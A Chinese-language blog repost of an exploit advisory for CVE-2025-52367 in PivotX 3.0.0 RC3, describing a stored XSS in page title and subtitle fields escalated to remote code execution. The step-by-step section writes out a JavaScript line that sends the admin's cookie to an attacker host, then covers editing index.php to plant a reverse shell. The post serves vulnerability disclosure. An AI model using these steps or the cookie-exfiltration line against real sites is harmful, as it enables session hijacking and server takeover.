PivotX 3.0.0 RC3 存储型XSS到远程代码执行漏洞利用分析

本文详细分析了PivotX 3.0.0 RC3版本中的存储型XSS漏洞,通过权限提升实现远程代码执行,包含漏洞成因、利用步骤和技术细节。

漏洞标题:PivotX v3.0.0 RC3 - 存储型XSS到远程代码执行(RCE)

日期:2025年7月

漏洞作者:HayToN

厂商主页:https://github.com/pivotx

软件链接:https://github.com/pivotx/PivotX

版本:3.0.0 RC3

测试环境:Debian 11, PHP 7.4

CVE:CVE-2025-52367

漏洞类型:

页面创建时的"title"和"subtitle"字段存在存储型跨站脚本(XSS)漏洞。输入未经净化,通过PHP serialize()直接存储到磁盘。

根本原因:

在’modules/pages_flat.php’中,函数’savePage($page)‘通过’saveSerialize()‘存储页面数据,未进行任何净化处理。存储的值随后在管理面板中未经转义直接渲染。

只有’body’和’introduction’字段经过TinyMCE处理(会对HTML进行编码)。’title’和’subtitle’字段以原始HTML形式渲染。

注意:如果您已经是管理员,请跳过步骤1-7

利用步骤:

  1. 以认证用户身份登录(普通用户,无需管理员权限)。

  2. 通过仪表板创建新页面,地址为:http://IP/PivotX/pivotx/index.php?page=page

  3. 本地创建一个包含窃取cookie代码的JavaScript文件。 例如:lol.js 包含内容: document.location = ‘http://LOCAL_IP/bruh?c=’ + document.cookie;

  4. 在"Subtitle"字段中输入以下payload(请确保更改文件名为您的文件名):

  1. 发布页面。

  2. 当管理员在博客中查看已发布的页面时,XSS将在管理员上下文中执行。

  3. 利用此XSS发送payload窃取管理员cookie,然后将cookie插入到您的站点。

  4. 以管理员身份导航到http://IP/PivotX/pivotx/index.php?page=homeexplore,在此可以编辑index.php文件

  5. 将index.php文件编辑为您想要在目标上获得RCE的任何php文件,可以使用反向shell或其他方法。

  6. 访问http://IP/PivotX/index.php,您应该获得一个反向shell :)

完整研究 - https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计